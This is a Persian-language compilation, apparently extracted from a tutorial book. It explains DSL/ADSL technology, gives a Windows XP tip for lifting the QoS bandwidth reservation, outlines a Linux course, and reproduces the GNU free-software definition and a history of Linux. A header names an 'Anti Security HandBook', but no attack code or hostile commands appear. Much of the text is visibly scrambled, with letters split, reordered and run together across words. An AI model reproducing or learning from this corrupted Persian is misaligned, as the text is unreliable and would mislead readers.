اهواره ای    . ( بسيار ارزان قيمت هستند  DSLتجهيزات سخت افزاری استفاده از      : و ثالثا  ستمهای م ر خلاف سي ين امکان داشتن    ) ب همچن

Static IP و برخی مسائل فنی دیگر نيز از مزایای DSLمی باشند .  
  

ه     DSLمهمترین و مساله ساز ترین مشکل       .  معایبی هم دارد   DSLمثل هر سيستمی     ه           این است ک ستگی ب ال داده ب  کيفيت و سرعت انتق
ه اینترنت متصل می شوید و                              . فاصله مشترک از مرکز تلفن دارد      شتری ب ا سرعت بي ن باشد ب یعنی اگر خانه شما در حوالی مرکز تلف

ن صورت مع  ۵این قضيه وقتی مساله ساز خواهد بود که فاصله شما از مرکز تلفن بيش از        . بالعکس تفاده    کيلومتر باشد که در ای مولا اس
ود    DSLاز   يم       .  مقدور نخواهد ب ایين س ين کيفيت پ ا                 همچن ر ن ز اث ا ني الی آنه ن و پوسيدگی احتم د       های تلف اط شما خواه وبی در ارتب مطل

  .داشت
  

د ن        DSLو اما آنچه که در کشور ما موجب شده که            وان روش جدی ه عن ازه از آن ب ام  با تمام مزایایش با تاخير چندین ساله وارد شود و ت
  برده شود چيست؟

  
ن در انحصار          DSLبه نظر من اولين مانع این است که تجهيزات            باید در مراکز تلفن داخل شهری نصب شود و در ایران هم مراکز تلف

د          دولت است و تا کسی مثل پارس آنلاین ید طولی در بستن وبلاگ             دتا نمی توان ا نداشته باشد، قاع ها و سایتهای خبری و این جور کاره
  .جوز نصب این تجهيزات در مراکز تلفن را بگيردم
  

DSLچگونه کار می کند ؟   
  

ل  (های کواکسيال  زوج سيم، کابل.  یا رسانه گفته می شودMediaدر علم مخابرات، به محيطی که داده ها از آن انتقال می یابند       مثل کاب
ون تن تلویزی ا  ، موج)آن ر ه ا (ب ستطيل ی ا سطح مقطع م زی ب ایی فل ه ه ره شکللول ای )دای انه ه رین رس وری مهمت ای ن وا و فيبره ، ه

ایين تعریف می شود                         . مخابراتی هستند  الا و پ انس قطع ب ام فرک ه ن ایی ب انه پارامتره رای هر رس ا حداکثر و حداقل     . ب و منظور از آنه
انس       . فرکانسی است که آن رسانه می تواند با کيفيت مطلوب از خود عبور دهد              ا       به اختلاف این دو فرک د ی ای بان  می  Band Widthپهن

سی              . گویند ور فرکان زوج سيم که در سيستم تلفن شهری استفاده می شود، ضعيفترین رسانه مخابراتی از این نظر می باشد و محدود عب
ور ص        ۴فقط از   ) PSTN(لکن در سيستمهای تلفن شهری      . هرتز می باشد    مگا ٢آن از صفر تا حدود       رای عب دا  کيلو هرتز این محدود ب

  . می باشدDSLاستفاده می شود و بقيه باند فرکانسی آزاد است، که موضوع ایده اوليه ساخت و استفاده از 
  

رین روشهای           ۴KHz از همان    Dial-Upدر سيستمهای    شرفته ت تفاده از پي ا اس تفاده می شود و ب ال داده اس  پهنای باند صوتی جهت انتق
حال فرض کنيد باند    .  کيلو بيت اطلاعات را در یک ثانيه منتقل نمود         ۵۶می توان حداکثر    مدولاسيون دیجيتال و فشرده سازی اطلاعات،       

ا           ٢MHz به   ۴KHzفرکانسی ما از     ی تقریب د، یعن دا کن ه               ۵٠٠ افزایش پي وان ب ال داده را می ت زان انتق ه مي ر شود، واضح است ک  براب
زایش داد  دت اف رای . ش سی   ADSLب د فرکان ولا بان ل معم ا٣٠KHz در عم سی   ١٣٨KHz  ت د فرکان ات و بان تادن اطلاع رای فرس  ب

١٣٨KHz   ١٫١ تاMhz     وان  .  برای گرفتن اطلاعات استفاده می شود در این صورت با توجه به روشهای مدولاسيون مورد استفاده می ت
رای بدست آوردن ضریب کيفيت سرویس دهی                    ٨Mbpsبه پهنای باند دیجيتالی معادل با        ر، عملا     )QoS( دست یافت که معمولا ب  بهت

  .بيت در ثانيه در اختيار کاربر قرار می گيرد  مگا٢ تا ١٫۵ی حدود تسرع
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 دست نخورده باقی ADSLهرتز که برای انتقال سيگنالهای صوتی تلفنی استفاده می شود در   کيلو۴ تا ٠با توجه به اینکه باند فرکانسی   
رار سازد            مانده است، مشترک می تواند در عين اتصال به اینترنت تماس           ر ق ز ب ه در       . های تلفنی خود را ني ار یک سوکت ک ن ک رای ای ب

ن                    ) LPF(واقع یک فيلتر پایين گدز       ه داخل دستگاه تلف الا ب انس ب ا از ورود سيگنالهای فرک ن نصب می شود ت ز تلف است روی هر پری
رای           . (جلوگيری شود  وان از یک         dataدر صورت موجود بودن سيم کشی مجزا ب رد        Splitter می ت تفاده ک ز اس ين  .) مرکزی ني همچن

  . دلار دارد٢٠ احتياج دارید که نوع معمولی آن قيمتی حدود DSL به یک مودم DSLبرای اتصال به اینترنت از طریق 
  

ي                     چیيسو: مرکز تلفن چه اتفاقی می افتد     و اما ببينيم در      ه ه د، ب ی نصب شده ان اط تلفن راری ارتب چ هایی که در مراکز مخابرات برای برق
ه    .  کيلو هرتز را ندارند۴عنوان توانایی عبور فرکانسهای بالای   يم مشترک ب لذا هر اتفاقی که قرار است بيفتد، باید قبل از ورود زوج س
د ن شهری بيفت ابراتی تلف ستمهای مخ ام . سي ه ن تگاههایی ب ار دس ن ک رای ای ا DSLAMب ز DSL Acsess Multiplexer ی  در مرک

ه سمت سو   ۴KHzاین دستگاه توسط فيلترهای فرکانسی، باند    . ودمخابرات کار گذاشته می ش     ابراتی    يچی اول هر زوج سيم را ب های مخ
وده   DSLAMهر  . می فرستد و بقيه پهنای باند را برای اتصال به اینترنت استفاده می کند               پذیرای صدها زوج سيم از طرف مشترکين ب

د خيلی زیاد به اینترنت متصل است و به این طریق تا وقتی که این پهنای باند اشباع و در نهایت از سوی دیگر با یک اتصال با پهنای بان    
  .نشود مشترکين می توانند با سرعت بالا و یکنواخت از اینترنت استفاده کنند و از آن لذت ببرند

 
  !!زنگ تفریح 
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  XP وزندي باند در وی درصد پهنا١٠٠استفاده از 

ه  ي س Packet Scheduler ش فرضيدر حالت پ XP ندوزیو در ا  ٢٠ستم را ب د   ی درصد از پهن ه ا  یک بان  ینترنت محدود م   ی اتصال ب
ه ک ن ی  ایبرا. دیببر نترنت بهرهیتان ا  باند اتصالی درصد از پهنا٢٠د از ي هستد تنها قادرير ندهييتغ مات راين تنظی اگر شما ایعنی. ندک

 ..... :دير را انجام دهیز د مراحلينکتان استفاده  خود باندی درصد پهنا١٠٠د از يبتوان

• Run  یرا از منو Start  دينکاجرا. 
 .دينک يکلکرا  OK رده وکپ یرا تا gpedit.msc عبارت Run در •
 .اجرا شود Group Policy د تايمنتظر بمان •

ه یگز Computer Configuration ری و در ز Local Computer Policy در بخش  را گسترش   Administrative Templates ن
 .ديز گسترش دهيرا ن Network نهیست باز شده گزيدر ل) ديار آن انجام دهک +  علامتی بر رويکلکار را با کن یا(د يده

 .دينکرا انتخاب  QOS Packet Scheduler ستين لیحال در ا •
 .دينک شوند دقت یه در سمت راست ظاهر مک یینه هایبه گز •
 .دينک يکلکرا  Properties رده وک راست يکلک Limit reservable bandwith یر روب •
 Limit reservable ریو در ز Setting باز شد در برگه Limit reservable bandwith Properties ه پنجرهکنیپس از ا •

bandwith  نهیگز Enabled  دينکرا انتخاب . 

شاهده م   ا انتخاب آن در روب   ک د ي نک یم دار پ  Bandwidth Limit یروه ب ا   ٢٠ یعن یش فرض آن  يمق ه نم  .دی آیش در م ی درصد ب
 .دينک يکلکرا  OK رده وکپ ی را تا٠ مقدار ٢٠ عدد یبه جا

 .دينک يکلک Properties هک دید رفته و بر روی شوینترنت وصل میله آن به ايه بوسک ی Connection حال به •
 ن پنجره رایا)نار آن مشاهده شودک يکت(فعال باشد  QoS Packet Scheduler هکد ينکد و دقت یبرو Networking به برگه •

OK دينک. 
 .دينک Restart وتر خود رايامپک •
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اه     ستم عاملي سیک بعنوان لينوکسه ي اولیم به بررسی قصد دارقسمتن یدر ا :هدف  ا مف ه ب ه و در ادام ب ي م اوليپرداخت نا و در  ه آکه ش ش
وان  لينوکسه يم اولياز مفاه ی برخیت به بررسینها ب  ي  سیک  بعن رداز یه اکستم عامل ش ن       . می ، بپ داری از ای ه مق ه ذکر است ک  لازم ب

  .تهيه شده است  ) com.gmail@forghani.elham( الهام فرقانی مطلب توسط خانم 
  

  .Linuxمروری بر سيستم عامل خانواده   : مپنجفصل 
 

 .مقدمه  
 .تعریف نرم افزار آزاد  
 .تاریخچه لينوکس  
 .کاربرد های لينوکس  
 .انواع توزیع های لينوکس  
 .آشنای با نسخ مختلف لينوکس  
 .مقدمات برای شروع به نصب  
 .آموزش نصب مصور لينوکس  
 .نوکس  و ليFree BSDیک مقایسه اجمالی بين ویندوز ،  
 .ساختار فایل ها در لينوکس   
 ) .مقدمه  ( Shellمباحثی پيرامون  
  .Shellبرنامه نویسی  
 .پوسته فرمان و مطالبی پيرامون آن  
 .برسی دایرکتوری ها و مجوز های آن  
 . و برنامه نویسی آن Shellمباحث تکميلی پيرامون  
  .Pipمباحث تکميلی پيرامون  
 .تنظيمات اعلام فرمان  
 .حث تکميلی پيرامون سيستم فایل لينوکس مبا 
 .مباحث تکميلی پيرامون مجوز ها در لينوکس  
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 .  در لينوکس و جزیيات آن Win Modemنصب  
  .تآموزش اتصال به اینترن 
 .آموزش نصب برنامه ها از روی کد منبع آن ها  
 ..آموزش راه اندازی شبکه در لينوکس و  
 !!آموزش امن کردن لينوکس  
 Ubuntuمل لينوکس آموزش کا 
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  :آموزش لينوکس، مقدمه 
  

Red Hat Linux     ار می رفت ه ک راد و سازمان های          که در ابتدا فقط به منظور ارائه خدمات شبکه ب ا، اف ، امروزه توسط شرکت ه
ان در محل        .می گيردستفاده قرار  ، افزایش کارایی و انجام کار، مورد ا        دولتی جهت کاهش هزینه ها     ر در سرتاسر جه ون نف ا ميلي ده ه

تاورد همکاری           . کار و منزل از این سيستم عامل استفاده می کنند         اترین دس ه ان لقب زیب د و ب سان می نامن ه نوی لينوکس را بهشت برنام
  .جمعی بشر را داده اند

  
رد و می       ۴عامل     سيستم این. پایان برای یادگيری در لينوکس وجود دارد        نکاتی بی  د ک ئن     سال به راحتی شما را مشغول خواه د مطم تواني

رد و        پس خوره   ! باشيد پس از آن بازهم مطالب جدیدی برای یادگيری وجود خواهند داشت             د ب ری خواهن ذت واف امپيوتری از آن ل های ک
  .هرگز آنرا رها نخواهند کرد

  

  
  

 سمبل  Tux،این پنگوئن دوست داشتنی موسوم به شت رو دوست دام عامل پنگوئن ها  مبتکر این سيستLinus Torvaldsنجایی که آاز 
  !!  استLinuxهمه چيز در 
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   تعريف نرم افزار آزاد

  
رم          ) Free Software(ما این تعریف را از نرم افزار آزاد ورد یک ن د در م واردی بای ه چه م يم ک شان ده ارائه می دهيم تا به وضوح ن

ه قيمت       . زار خاص صدق کند تا آن نرم افزار آزاد تلقی شود         اف زار آزاد موضوع آزادی است ن رم اف ه      . ن د ب وم ،بای ن مفه رای درک ای ب
د        ) سخن آزاد(free speech در عبارت freeمعنای کلمه  ارتی مانن ای آن در عب ه معن ه ب د ن ه     .[free beerفکر کني ه کلم ن ک توضيح ای

free  سی در ان انگلي ی رود    در زب ار م ه ک ان ب ای آزاد و رایگ ان      .دو معن ه رایگ ت ن وم آزادی اس ا مفه ن ج سندگان در ای ور نوی منظ
ودن دارد   .ب ود ن وی وج شکل لغ ی،چنين م ه در فارس ن کلم ه ای رای ترجم ه ب ه جداگان ود دو کلم ل وج ه دلي ت ب دیهی اس   .] ب

وختن، ت  ع، آم ی، توزی را، کپ اربران در اج وع آزادی ک زار آزاد موض رم اف تن زار اس رم اف عه ن ر دادن و توس   . غيي
وع آزادی   ار ن ه چه زار آزاد ب رم اف ر ،ن ان دقيقت ه بي د  ) Freedom(ب ی کن اره م زار اش رم اف ک ن اربران ی رای ک   : ب

  
  ) ٠آزادی ( آزادی برای اجرای برنامه به هر منظوری -

يش          ). ١آزادی  . (آزادی برای آموختن نحوه عملکرد نرم افزار و سازگار کردن آن با نيازهای شخصی                - ع پ د منب ه ک دسترسی ب
  . شرط این بند است

 ) ٢آزادی ! (آزادی برای توزیع مجدد کپی برنامه تا بتوانيد به همسایه خود کمک کنيد -
ه نتيجه آن منفعت                        - رای همگان، ک ن اصلاحات ب های عمومی    آزادی برای اصلاح کردن و توسعه نرم افزار و منتشر کردن ای

 . دسترسی به کد منبع پيش شرط این بند است). ٣زادی آ. (جامعه خواهد بود

ر،       بنابراین، شما باید آزاد باشيد تا کپی      . ها را داشته باشند     برنامه ای آزاد است اگر کاربران آن همه این آزادی          دون تغيي ا ب ها را با تغيير ی
د  کس و هر رایگان یا با دریافت وجهی برای توزیع، برای هر     ا      .جا مجددا توزیع کني ن کاره ام ای رای انج ودن ب ان مطالب   ( آزاد ب در مي

  . به این معنی است که شما مجبور نيستيد از کسی اجازه بگيرید یا برای مجوز پولی پرداخت کنيد) دیگر

تفاده                                    ار خود اس ه طور خصوصی در ک ا را ب د و آنه اد کني ی ایج ه تغييرات ه در برنام د شما همچنين باید این آزادی را داشته باشيد ک .  کني
ه روش         اگر شما تغييرات  . بدون این که حتی وجود آنها را متذکر شوید         تان را منتشر کنيد، نباید مجبور باشيد که شخص مخصوصی را ب

  . خاصی آگاه کنيد

و  آزادی برای استفاده از یک برنامه به معنای آزادی برای هر شخص یا سازمان برای استفاده در هر نوع سيستم رایانه              ار،  ای، هر ن ع ک
  . و بدون نياز به ارتباط بعدی با توسعه دهنده یا هر نهاد خاص دیگر است

ع        آزادی برای توزیع مجدد کپی د منب د ک ه، همانن ی برنام ا اجرای سخه     ) Source Code(ها، باید شامل شکل دودویی ی رای ن باشد، چه ب
های آزادی که به راحتی نصب می شوند،          جرایی برای سيستم عامل   ها در شکل ا     توزیع برنامه . (تغيير یافته و چه برای نسخه بدون تغيير       

ه مشخص وجود نداشته باشد، مشکلی نيست                 ). الزامی است  چون برخی   .(اگر هيچ راهی برای توليد فرم اجرایی یا دودویی یک برنام
ه اگر راه          اما شما باید این آزادی را     )کنند  زبانها، این ویژگی را پشتيبانی نمی      يد ک رای    داشته باش ا        ،  ی ب ن فرمه ه در ای د برنام رای تولي ب

  . یافتيد، آن را مجددا در حالت اجرایی و دودویی توزیع کنيد

ابراین، دسترسی   . برای وجود آزادی به منظور ایجاد تغيير و انتشار نسخه های توسعه یافته، شما باید به کد منبع دسترسی داشته باشيد    بن
داده      به منظور واقعی بودن این آزادی     . زاد است به کد، شرطی اساسی برای نرم افزار آ        ام ن ار خطایی انج ها، آنها باید تا زمانی که شما ک

اگر توسعه دهنده نرم افزار این قدرت را داشته باشد، که بدون انجام دادن کاری که موجب ابطال شود، مجوز     . اید، غير قابل فسخ بمانند    
  . تافزار را باطل کند، نرم افزار آزاد نيس نرم

ول هستند              ل قب د، قاب . به هر حال،انواع خاصی از قوانين، در مورد نحوه توزیع نرم افزار آزاد، زمانی که آزادی ها اصلی را نقض نکنن
رای رد                      ) به زبان ساده   (Copyleftبرای مثال،    د محدودیتی ب ه، شما نمی تواني ع مجدد برنام ام توزی ه طی آن و در هنگ قانونی است ک

  . های اصلی منافاتی ندارد، بلکه آنها را نيز حفظ می کند این قانون، نه تنها با آزادی. کاربران قائل شویدآزادیهای اصلی 

ی هيچ                           ،  بنابراین، شما ممکن است برای       ا را ب ا ممکن است آنه يد و ی رده باش ول پرداخت ک زار آزاد، پ برای دریافت نسخه های نرم اف
دارید، که نرم  اید، شما هميشه این آزادی را  گرفتن این که شما چگونه نرم افزار را دریافت کرده  اما بدون در نظر   . ای گرفته باشيد    هزینه

  . افزار را تکثير کنيد و یا تغيير بدهيد، یا حتی آن را بفروشيد

ع تجاری          نمی ”  غير تجاری “ به معنای   ” نرم افزار آزاد    “ تفاده، توسعه و توزی رای اس د ب ه آزاد بای .  در دسترس باشد  باشد، یک برنام
  . توسعه تجاری یک برنامه آزاد دیگر غير معمولی نيست، بلکه این گونه نرم افزارهای آزاد تجاری بسيار مهم هستند



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٢٤٥    صفحه

سخه های                  ،  قوانين مربوط به     شر کردن ن رای منت انع آزادی شما ب به چگونگی بسته کردن یک نسخه تغيير یافته هم اگر به طور موثر م
اگر شما برنامه به این روش قابل دسترس کنيد،باید آن را به آن روش نيز قابل دسترس  “قوانينی مانند   . قابل قبول است  یافته نشود،    تغيير
رای شما                         . (هم می تواند با همان شرط قابل قبول باشد        “  کنيد ه را ب ا نکردن برنام شر کردن ی ه منت انون گزین ن ق توجه داشته باشيد که ای

ده                     همچنين ای .) باقی می گذارد   د و توسعه دهن شر کردی ه را منت ر یافت سخه تغيي ه ن ن قابل قبول است که اگر یک مجوز بخواهد هنگامی ک
  . قبلی یک نسخه از آن را در خواست کرد، باید برای او بفرستيد

  
ا از    و، م روژه گن ن آزادی   Copyleftدر پ انونی از ای ت ق رای حفاظ يم       ب ی کن تفاده م خاص اس رای اش ا ب رم . ه ا ن ای آزاد افز ام اره

ه شما      Copyleftما اعتقاد داریم که دلایل مهمی وجود دارند که چرا استفاده از             .  هم موجودند  Copyleftبدون  بهتر است، اما اگر برنام
  . یک نرم افزار آزاد بدون کپی لفت است، ما همچنان می توانيم از آن استفاده کنيم

رم         Copyleftزار  برای تشریح چگونگی ارتباط نرم افزار آزاد،نرم اف        الات ن م، مق ا ه زار آزاد را    شده و دیگر موضوعات نرم افزار ب اف
  . ببينيد

سخه                         ی ن ين الملل ع ب رای توزی د آزادی شما را ب ه،      گاهی اوقات، مقررات کنترلی صادرات و مصوبات تجاری دولت،می توانن های برنام
درت را        توسعه دهندگان نرم  . تحت الشعاع قرار دهند    ه                   افزار این ق اری ک ا ک د، ام ا ندارن ن محدودیت ه ا گذاشتن ای ر پ ا زی رای حذف ی ب

ب، محدودیتها    . توانند و باید انجام دهند، این است که از تحميل کردن آنها به عنوان شرایط استفاده از برنامه خودداری کنند           می دین ترتي ب
  . گذارندها هستند، تاثيری نمی  بر فعاليتها و مردمی که خارج از قلمرو این دولت

رای درخواست    ) Copyright(بسياری از ليسانسهای نرم افزار آزاد بر اساس کپی رایت          ل        بنا شده اند، و ب ی رایت تحمي ا کپ ه ب ایی ک ه
رم می                . می شود، محدودیتهایی موجود است     شریح شدند، محت اگر یک ليسانس مبتنی بر کپی رایت، آزادی را به شيوه هایی که در بالا ت

د  (ست که مشکلات دیگری را که ما هرگز پيش بينی نمی کنيم، پيش بياورد،               شمرد، بعيد ا   ه  ) گرچه گه گاه این موارد صورت می گيرن ب
ها طيف گسترده تری از محدودیتها      قرار دارند، و قرارداد   ) Contract(ها هر حال، برخی از ليسانسهای نرم افزار آزاد بر پایه قرارداد          

  .  است که راههای بسياری وجود دارند که یک ليسانس محدود و غير آزاد باشداین بدان معنی. تحميل می کنند

ر          . ما نمی توانيم همه محدودیت های قرارداد را که قابل قبول نيستند، ليست کنيم              اگر یک مجوز مبتنی بر قرارداد کاربر را به روشی غي
ين محدو  (عادی محدود کند   د در حالی که مجوز مبتنی بر کپی رایت این چن ورد آن         ) د نکن د در م شود، شما بای انونی تلقی ن م ق ا ه و اینج

  . فکر کنيد، و ما احتمالا آن را غير آزاد می دانيم

 رایگان“یا ) Give Away(” هدیه دادن“هنگامی که در مورد نرم افزار آزاد صحبت می کنيم، بهتر است از به کار بردن کلماتی چون 
 ”)For Free (د را ا. خودداری کني ه آزادیزی ورد قيمت است ن ه موضوع در م انند ک ی را می رس ن معن ن اصطلاحات ای ات . ی کلم

د             ) Piracy(” کپی غير قانونی  “مصطلحی چون    ن    . نظراتی را القاء می کنند که ما اميدواریم شما بر آنها صحه نگذاری رای بحث در ای ب
د  ”  ش است  کلمات و عبارات گيج کننده که اجتناب کردن از آنها با ارز           “ مورد،   ه           . را ببيني زار را ب رم اف ه ن ستی از ترجم ين لي ا همچن م

  . زبانهای مختلف داریم

  
د                     در نهایت، ملاک   از دارن ه توجه و فکر ني سير ب رای تف د، ب صميم در   . هایی مانند آنها که در تعریف نرم افزار آزاد ذکر شده ان رای ت ب

ا      بودن را دارد، ما براساس همين ملاکمورد این که آیا یک مجوز صلاحيت مجوز نرم افزار آزاد      يم آی ين کن ا تعي ها قضاوت می کنيم ت
ه                       ا ن ز مناسب است ی وم آن ني ی و مفه ول وجود         . علاوه بر کلمات و اصطلاحات استفاده شده، معن ا معق اگر در یک مجوز محدودیتی ن

گاهی اوقات، درخواستهای یک  . ا پيش بينی نکرده باشيمه داشته باشد، ما آن را قبول نمی کنيم، حتی اگر آن محدودیتها را در این ملاک               
ل      (مجوز موضوعی را به وجود می آورند که قبل از تایيد آن نياز به تحقيق و تفحص بيشتر                    ا یک وکي ادل نظر ب . است ) مانند بحث و تب

ين صلاحيت مجوز    ها را به روز می کن هنگامی که ما در مورد موضوعی جدید، به نتيجه دست پيدا می کنيم، این ملاک        ا تعي ا را   يم ت ه
  . تر کنيم آسان

ا را                   د  اگر شما علاقه دارید بدانيد که یک مجوز صلاحيت مجوز های نرم افزار آزاد را دارد، ليست مجوزهای م ه    . ببيني اگر مجوزی ک
  . آن بپرسيد درباره licensing@gnu.orgبرای شما مهم است،اینجا ذکر نشده، شما می توانيد با فرستادن ای ميل به 

افزایش تعداد مجوزهای آزاد . تماس بگيرید) بنياد نرم افزار آزاد (FSF با همان آدرس با   لطفاًاگر شما به فکر نوشتن یک مجوز هستيد،         
ا  به معنی کار های انجام شده بيشتر برای کاربران به منظور درک مجوز           ه         . ست  اه افتن مجوزی ک وانيم شما را در ی ا ممکن است بت م

  . های شما را برآورده کند، یاری کنيمنياز
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ا می                  واقعاًاگر این امکان پذیر نباشد، و اگر شما          ا کمک م د، ب از داری د ني ه یک مجوز جدی دن مشکلات          ب ه وجود آم اب ب ا اجتن د ب تواني
  ! عملی، بفهميد که آیا مجوز آزاد است یا نه

زار آزاد    ) نه یکسان (را آغاز کرده اند تا مفهومی نزدیک) OpenSource(”  متن باز“گروه دیگری استفاده کردن از عبارت       رم اف ه ن ب
ه              ”  نرم افزار آزاد  “ ما عبارت . را داشته باشد   د ن اد آزادی می افتي شنوید،به ی را ترجيح می دهيم، زیرا به محض این که این عبارت را ب

 !!قيمت
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  از ابتدا تا به حال 
  

Linux History  

  آغاز داستان

ده      ١٩٩١در سال   سيار روشنی دی ده ب امپيوتر، آین  در حالی که جنگ سرد رو به پایان ميرفت و صلح در افق ها هویدا ميشد، در دنيای ک
  ...ولی هنوز چيزی کم بود. با وجود قدرت سخت افزارهای جدید، محدودیت های کامپيوترها رو به پایان ميرفت. ميشد

  .ن چيزی نبود جز فقدانی عميق در حيطه سيستم های عاملو ای

ا قيمت         . داس، امپراطوری کامپيوترهای شخصی را در دست داشت        ه ب ياتل   ۵٠٠٠٠سيستم عامل بی استخوانی ک ی  دلار از یک هکر س
ان رخن       ) Bill Gates (یتوسط بيل  ام گوشه های جه ه تم ود  خریداری شده بود و با یک استراتژی تجاری هوشمند، ب رده ب اربران  . ه ک ک

PCتند د.  انتخاب دیگری نداش ر بودن اش بهت ل مکينت راد خارج می . کامپيوترهای اپ ر اف ا را از دسترس اکث ای نجومی، آنه ی قيمته ول
  .ساخت

ه ک  تگران قيم  آنقدر  .  بود تگران قيم ولی یونيکس به خودی خود بسيار       . خيمه گاه دیگر دنيای کامپيوترها، دنيای یونيکس بود        اربران  ک
ود،      . کامپيوترهای شخصی جرات نزدیک شدن به آنرا نداشتند  ع شده ب شگاهها توزی ين دان کد منبع یونيکس که توسط آزمایشگاههای بل ب

  .گان نرم افزار راه حلی ارائه ندادنده برای حل شدن این مسئله، هيچيک از توليد کنند. محتاطانه محافظت ميشد تا برای عموم فاش نشود

 Andrew( تاننباوم  این سيستم عامل، که از ابتدا توسط اندرواس.  ارائه شدMINIXسيد این راه حل به صورت سيستم عامل بنظر مير
S. Tanenbaum (        ود ستم عامل واقعی ب ی یک سي ات داخل دریس عملي ستم عامل    . پروفسور هلندی، نوشته شده بود به منظور ت ن سي ای

  .ل طراحی شده بود و بزودی بازار را اشباع کرد اینت٨٠٨۶برای اجرا روی پردازنده های 

ستم         هر . ولی مزیت اصلی آن، در دسترس بودن کد منبع آن بود          .  خيلی خوب نبود   MINIXبعنوان یک سيستم عامل،      اب سي ه کت کس ک
ان       ١٢٠٠٠عامل تاننباوم را تهيه ميکرد، به     ه زب د نوشته شده ب دا ميکرد     C خط ک ز دسترسی پي رای  .  و اسمبلی ني ار، یک    ب نخستين ب

د              د              . برنامه نویس یا هکر مشتاق ميتوانست کد منبع سيستم عامل را مطالعه کن رده بودن را محدود ک ا آن رم افزاره ه سازندگان ن زی ک . چي
یک نویسنده بسيار خوب، یعنی تاننباوم، باعث فعاليت مغزهای متفکر علوم کامپيوتری در زمينه بحث و گفتگو برای ایجاد سيستم عامل           

ود، درک  . دش  ه در کامپيوترشان در حال اجرا ب ستمی را ک ع، سي دهای منب اب و ک دن کت ا خوان ا ب امپيوتر در سرتاسر دني شجویان ک دان
  .کردند

  .نام داشت) Linus Torvalds(و یکی از آنها لينوس توروالدز 

  کودک جديد در افق

د     ) Linus Benedict Torvalds(، لينوس بندیکت توروالدز ١٩٩١در سال  سينکی فنلان شگاه هل امپيوتر دان دانشجوی سال دوم علوم ک
د            ٢١این فنلاندی   . و یک هکر خود آموخته بود      رار ميدادن شار ق ستم را تحت ف .  ساله، عاشق وصله پينه کردن محدودیت هایی بود که سي

ر                     ا را ب ه ای ه د وآولی مهمترین چيزی که وجود نداشت یک سيستم عامل بود که بتواند نيازهای حرف ی    MINIX. رده نمای ود ول  خوب ب
ری در                            رای بکار گي د ب زاری قدرتمن ا اب ود ت فقط یک سيستم عامل مخصوص دانش آموزان بود و بيشتر به عنوان یک ابزار آموزشی ب

  .امور جدی

ا ) Richard Stallman(که توسط ریچارد استالمن ) GNU(در این زمان برنامه نویسان سرتاسر دنيا توسط پروژه گنو  ود،   آغ ز شده ب
ود         ژهدف این پرو  . تحریک شده بودند   ا کيفيت ب تالمن خط   . ه ایجاد حرکتی برای فراهم نمودن نرم افزارهای رایگان و در عين حال ب اس

 آغاز  ٧٠ در اواسط و اواخر دهه emacs با ایجاد برنامه ویرایشگر MITمشی خود را از آزمایشگاه معروف هوش مصنوعی دانشگاه          
د    MIT، بيشتر برنامه نویسان نخبه آزمایشگاههای هوش مصنوعی         ٨٠ دهه   تا اوایل . نمود  جذب شرکتهای نرم افزاری تجاری شده بودن

وی عقيده داشت برخلاف سایر توليدات، نرم افزار        . ولی استالمن دیدگاه متفاوتی داشت    . و با آنها قرارداد های حفظ اسرار امضا شده بود         
  . تغييرات در آن آزاد باشد تا بتوان روز به روز نرم افزارهای بهتر و کارآمد تری توليد نمودباید از محدودیت های کپی و ایجاد

رم        .  را آغاز کرد   GNU، پروژه   ١٩٨٣با اعلاميه معروف خود در سال        ه ن د و ارائ ه تولي سفه خودش ب ا فل وی حرکتی را آغاز کرد تا ب
ستم عامل رایگان،       ولی.  استGNU is Not Unix مخفف GNUنام . افزار بپردازد اد یک سي رای ایج  برای رسيدن به رویای خود ب
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ان             ١٩٨۴بنابراین در سال    . وی ابتدا نياز داشت تا ابزارهای لازم برای این کار را ایجاد نماید             ایلر زب اد کامپ  وی شروع به نوشتن و ایج
C     گنو موسوم به GCC زاری را       وی . ابزاری مبهوت کننده برای برنامه نویسان مستقل   .  نمود ایی اب ه تنه سانه ای خود ب با جادوگری اف

رار گرفت                          د ق رده بودن اد ک سان تجاری ایج ه نوی د   GCC. ایجاد نمود که برتر از تمام ابزارهایی که تمام گروههای برنام  یکی از کارآم
  .هایی است که تا کنون ایجاد شده اند ترین و قویترین کامپایلر

ا سال  رو١٩٩١ت ادیGNUه ژ پ داد زی انی وجود نداشت تع ستم عامل رایگ وز سي ی هن ود ول رده ب اد ک زار ایج ی .  اب م MINIXحت  ه
ل        HURDکار بر روی هسته سيستم عامل گنو موسوم به          . لایسنس شده بود   ده قاب د سال آین ا چن ه ت  ادامه داشت ولی به نظر نمی رسيد ک

  .استفاده باشد

  ...این زمان برای توروالدز بيش از حد طولانی بود

  : از طرف توروالدز ارسال شدMINIX، این نامه تاریخی به گروه خبری ١٩٩١ آگوست ٢۵در 

   MINIXگروه خبری : به لينوس بندیکت توروالدز: از 

   ببينيد؟MINIXدر  بيشتر چه چيزی را ميخواهيد : موضوع

   نظرخواهی کوچک در مورد سيستم عامل جدید من: خلاصه

ه         MINIXن از   گاه  با سلام به تمام استفاده کنند      من در حال تهيه یک سيستم عامل رایگان فقط به عنوان سرگرمی و نه به بزرگی و حرف
اربران          . این کار از آوریل شروع شده و درحال آماده شدن است          .  هستم ۴٨۶ و   ٣٨۶ برای دستگاههای    GNUای   ا نظرات ک ایلم ت من م

د ساختار   .  شبيه آن استحدوداًزیرا سيستم عامل من  .  آوری کنم   دوست دارند یا ندارند، جمع     MINIXرا در مورد چيزهایی که در        مانن
ه        ١٫۴٠ نسخه   GCC و   ١٫٠٨ نسخه   bashمن اکنون   ... سيستم فایل مشابه و چيزهای دیگر      ه نظر ميرسد ک رده ام و ب ل ک ه آن منتق  را ب

د؟ من از      ن بيشتر به چه قابليتمن در عرض چند ماه چيزی آزمایشی درست کرده ام و مایلم بدانم که کاربرا    . کار ميکند  از دارن ایی ني ه
  . ولی قول نمی دهم همه آنها را اجرا کنم. هر پيشنهادی استقبال ميکنم

  لينوس

  

د                 اد کن ا ایج ين تحولی در دني ه چن زرگ شود ک در ب وقش آنق ه مخل رد ک . همانطور که در این نامه پيداست، خود توروالدز هم باور نمی ک
دز             .  منتشر شد و روی اینترنت قرار گرفت       ١٩٩١واسط سپتامبر    در ا  ٠٫٠١لينوکس نسخه    وق توروال راوان حول مخل تياقی ف شور و اش

سخه    . کدها دانلود شده، آزمایش شدند و پس از بهينه سازی به توروالدز بازگردانده شدند             . شکل گرفت  ه        ٠٫٠٢لينوکس ن ر ب نجم اکتب  در پ
